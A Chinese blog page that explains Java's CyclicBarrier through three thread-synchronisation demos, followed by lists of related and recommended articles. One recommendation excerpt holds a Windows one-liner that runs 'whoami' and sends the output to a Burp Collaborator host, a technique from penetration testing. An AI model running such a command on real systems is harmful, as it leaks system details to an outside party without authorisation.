import java.util.concurrent.BrokenBarrierException;
import java.util.concurrent.CyclicBarrier; /**
* CyclicBarrier可看成是个障碍, 所有的线程必须到齐后才能一起通过这个障碍。 
*/
public class CyclicBarrierDemo extends Thread {
private CyclicBarrier cyclicBarrier;
public CyclicBarrierDemo(CyclicBarrier cyclicBarrier) {
this.cyclicBarrier = cyclicBarrier;
} @Override
public void run() {
System.out.println("子线程,"+Thread.currentThread().getName()+ " 开始写...");
try {
Thread.sleep(2000);
} catch (InterruptedException e) {
e.printStackTrace();
}
System.out.println("子线程,"+Thread.currentThread().getName()+ " 写完成...");
try {
cyclicBarrier.await();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (BrokenBarrierException e) {
e.printStackTrace();
}
System.out.println("所有线程执行完毕...");
}
public static void main(String[] args){
CyclicBarrier cyclicBarrier = new CyclicBarrier(5);
for (int i = 0; i < 5; i++) {
CyclicBarrierDemo writer = new CyclicBarrierDemo(cyclicBarrier);
writer.start();
}
}
//子线程,Thread-0 开始写...
//子线程,Thread-1 开始写...
//子线程,Thread-2 开始写...
//子线程,Thread-3 开始写...
//子线程,Thread-4 开始写...
//子线程,Thread-1 写完成...
//子线程,Thread-0 写完成...
//子线程,Thread-2 写完成...
//子线程,Thread-4 写完成...
//子线程,Thread-3 写完成...
//所有线程执行完毕...
//所有线程执行完毕...
//所有线程执行完毕...
//所有线程执行完毕...
//所有线程执行完毕...
}

/**
* Runnable任务在CyclicBarrier的数目达到后,所有其它线程被唤醒前被执行
*/
public class CyclicBarrierDemo extends Thread {
private CyclicBarrier cyclicBarrier;
public CyclicBarrierDemo(CyclicBarrier cyclicBarrier) {
this.cyclicBarrier = cyclicBarrier;
} @Override
public void run() {
System.out.println("子线程,"+Thread.currentThread().getName()+ " 开始写...");
try {
Thread.sleep(2000);
} catch (InterruptedException e) {
e.printStackTrace();
}
System.out.println("子线程,"+Thread.currentThread().getName()+ " 写完成...");
try {
cyclicBarrier.await();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (BrokenBarrierException e) {
e.printStackTrace();
}
System.out.println("所有线程执行完毕...");
}
public static void main(String[] args){
CyclicBarrier cyclicBarrier = new CyclicBarrier(5, new Runnable() {
@Override
public void run() {
System.out.println("完成一个小目标");
}
});
for (int i = 0; i < 5; i++) {
CyclicBarrierDemo writer = new CyclicBarrierDemo(cyclicBarrier);
writer.start();
}
}
//子线程,Thread-0 开始写...
//子线程,Thread-1 开始写...
//子线程,Thread-2 开始写...
//子线程,Thread-3 开始写...
//子线程,Thread-4 开始写...
//子线程,Thread-0 写完成...
//子线程,Thread-2 写完成...
//子线程,Thread-3 写完成...
//子线程,Thread-4 写完成...
//子线程,Thread-1 写完成...
//完成一个小目标
//所有线程执行完毕...
//所有线程执行完毕...
//所有线程执行完毕...
//所有线程执行完毕...
//所有线程执行完毕...
}
import java.util.Random;
import java.util.concurrent.BrokenBarrierException;
import java.util.concurrent.CyclicBarrier; /**
* CyclicBarrier初始时还可带一个Runnable的参数, 此Runnable任务在CyclicBarrier的数目达到后,所有其它线程被唤醒前被执行。
* 循环栅栏 CyclicBarrier
* 可以反复使用的计数器
* 如:计数器设置为10,凑齐第一批10个线程后,计数器就会归零,然后接着凑齐下一批10个线程
*
* public CyclicBarrier(int parties, Runnable barrierAction) //计数总数,线程总数
*/
public class CyclicBarrierDemo {
public static class Soldier implements Runnable{
private String soldier;
private final CyclicBarrier cyclicBarrier;
Soldier(String soldierName, CyclicBarrier cyclicBarrier) {
this.soldier = soldierName;
this.cyclicBarrier = cyclicBarrier;
}
@Override
public void run() {
try {
//等待任务安排
System.out.println("开始了");
cyclicBarrier.await();
doWork();
//等待任务完成
cyclicBarrier.await();
} catch (InterruptedException | BrokenBarrierException e) {
//InterruptedException线程被中断
//BrokenBarrierException:表示当前的cyclicBarrier已经破损了,避免其他线程进行永久的,无所谓的等待
e.printStackTrace();
}
} void doWork() {
try {
Thread.sleep(Math.abs(new Random().nextInt()%10000));
} catch (InterruptedException e) {
e.printStackTrace();
}
System.out.println(soldier+":任务完成");
}
}
public static class BarrierRun implements Runnable{
boolean flag;
int N; public BarrierRun(boolean flag, int n) {
this.flag = flag;
N = n;
} @Override
public void run() {
if (flag){
System.out.println(N+"个任务已完成!");
}else {
System.out.println("安排"+N+"个任务!");
flag = true;
}
}
}
public static void main(String[] args){
final int N = 10;
Thread[] allSoldier = new Thread[10];
boolean flag = false;
CyclicBarrier cyclic = new CyclicBarrier(N, new BarrierRun(flag, N));
System.out.println("安排任务...");
for (int i = 0; i < N; i++) {
System.out.println("任务"+i+"安排");
allSoldier[i] = new Thread(new Soldier("任务"+i,cyclic));
allSoldier[i].start();
}
}
//每运行完N个次数的任务就会执行BarrierRun任务 //安排任务...
//任务0安排
//任务1安排
//开始了
//开始了
//任务2安排
//开始了
//任务3安排
//开始了
//任务4安排
//任务5安排
//开始了
//任务6安排
//开始了
//任务7安排
//开始了
//任务8安排
//开始了
//开始了
//任务9安排
//开始了
//安排10个任务!
//任务6:任务完成
//任务3:任务完成
//任务9:任务完成
//任务5:任务完成
//任务4:任务完成
//任务0:任务完成
//任务8:任务完成
//任务7:任务完成
//任务2:任务完成
//任务1:任务完成
//10个任务已完成!
}

24.循环栅栏 CyclicBarrier的更多相关文章

  1. 多线程之倒计时器CountDownLatch和循环栅栏CyclicBarrier

    1.倒计时器CountDownLatch CountDownLatch是一个多线程控制工具类.通常用来控制线程等待,它可以让一个线程一直等待知道计时结束才开始执行 构造函数: public Count ...

  2. Java并发编程原理与实战二十七:循环栅栏:CyclicBarrier

    昨天我们学习了倒计数功能的等待,今天我们学习的是循环栅栏:CyclicBarrier.下面我们就开始吧: 1.CyclicBarrier简介CyclicBarrier,是JDK1.5的java.uti ...

  3. java高并发系列 - 第17天:JUC中的循环栅栏CyclicBarrier常见的6种使用场景及代码示例

    这是java高并发系列第17篇. 本文主要内容: 介绍CyclicBarrier 6个示例介绍CyclicBarrier的使用 对比CyclicBarrier和CountDownLatch Cycli ...

  4. 循环栅栏:CyclicBarrier(司令要求任务) 读书笔记

    可以理解为循环栅栏,栅栏就是一种障碍物.假如我们将计数器设置为10,那么凑齐第一批10个线程后,计数器就会归零,然后接着凑齐下一批10个线程,这就是循环栅栏的含义. 构造器: public Cycli ...

  5. 3.1.6 循环栅栏:CyclicBarrier

    package 第三章.循环栅栏CyclicBarrier; import java.util.concurrent.BrokenBarrierException;import java.util.c ...

  6. 戏说java多线程之CyclicBarrier(循环栅栏)的CyclicBarrier(int parties)构造方法

    CyclicBarrier是JDK 1.5 concurrent包出现的一个用于解决多条线程阻塞,当达到一定条件时一起放行的一个类.我们先来看这样一个简单的需求. 现在我有一个写入数据的类,继承Run ...

  7. java并发之(4):Semaphore信号量、CounDownLatch计数锁存器和CyclicBarrier循环栅栏

    简介 java.util.concurrent包是Java 5的一个重大改进,java.util.concurrent包提供了多种线程间同步和通信的机制,比如Executors, Queues, Ti ...

  8. 线程工具类 - CyclicBarrier(循环栅栏)

    CyclicBarrier官方文档 一.原理 CyclicBarrier是另外一种多线程并发控制实用工具.它和CountDownLatch非常类似,它也可以实现线程的计数等待,但它的功能比CountD ...

  9. 并发编程 04——闭锁CountDownLatch 与 栅栏CyclicBarrier

    Java并发编程实践 目录 并发编程 01—— ThreadLocal 并发编程 02—— ConcurrentHashMap 并发编程 03—— 阻塞队列和生产者-消费者模式 并发编程 04—— 闭 ...

随机推荐

  1. 利用HTTP、DNS通道测试无回显的命令执行

    windows下通过start命令 for /F %X in ('whoami') do start http://uusifci7x1s0hcrny1lkqwqyjppfd4.burpcollabo ...

  2. Linux系统下安装JDK及环境配置

    第一种属于傻瓜式安装,一键安装即可(yum安装): 第二种手动安装,需要自己去Oracle官网下载需要的jdk版本(需官网注册登录才可以下载),然后解压并配置环境. 一.yum一键安装1.首先执行以下 ...

  3. Jenkins服务配置容易忽略的事项

    git客户端必须安装(可直接yum安装) maven安装的版本(Jenkins上用其插件较稳健,亲测maven3.5是坑) settings.xml文件必要时,指定对应路径(一般选用Jenkins默认 ...

  4. Dataphin的代码自动化能力如何助力商业决策

    前言 随着大数据趋势的迅速增长,数据的重要性与日俱增,企业内看数据.用数据的诉求越来越强烈,其中最常见的就是各种经营报表数据:老板每日早晨9点准时需要看到企业核心的经营数据,以便进行企业战略及方向决策 ...

  5. spring-boot整合Mybatis案例

    1.运行环境 开发工具:intellij idea JDK版本:1.8 项目管理工具:Maven 3.2.5 2.Maven Plugin管理 <?xml version="1.0&q ...

  6. PHP curl_errno函数

    curl_errno — 返回最后一次的错误号 说明 int curl_errno ( resource $ch ) 返回最后一次cURL操作的错误号. 参数 ch 由 curl_init() 返回的 ...

  7. flutter页面布局一

    Padding组件 在 html 中常见的布局标签都有 padding 属性,但是 Flutter 中很多 Widget 是没有 padding 属性.这个时候我们可以用 Padding 组件处理容器 ...

  8. php开发面试题---日常面试题1

    php开发面试题---日常面试题1 一.总结 一句话总结: 实战确定学习方向,然后去网上找视频资源,非常多,然后看书 1.什么样的数据存在memcache里面? 要去数据库里面查询的那些数据,数据库查 ...

  9. wsl中加载git之后,发现文件是修改状态

    查看git status,发现所有文件都被修改. git diff文件查看,发现是行尾的问题导致的. https://github.com/Microsoft/WSL/issues/184 在wsl里 ...

  10. 转-调用HTMLTestRunner生成的报告中不能显示用例中print函数的输出

    官方原生的HTMLTestRunner.py支持python2.0版本,python3.0版本的使用需要做一些修改: Python3调用HTMLTestRunner执行用例生成测试报告中,不能正常显示 ...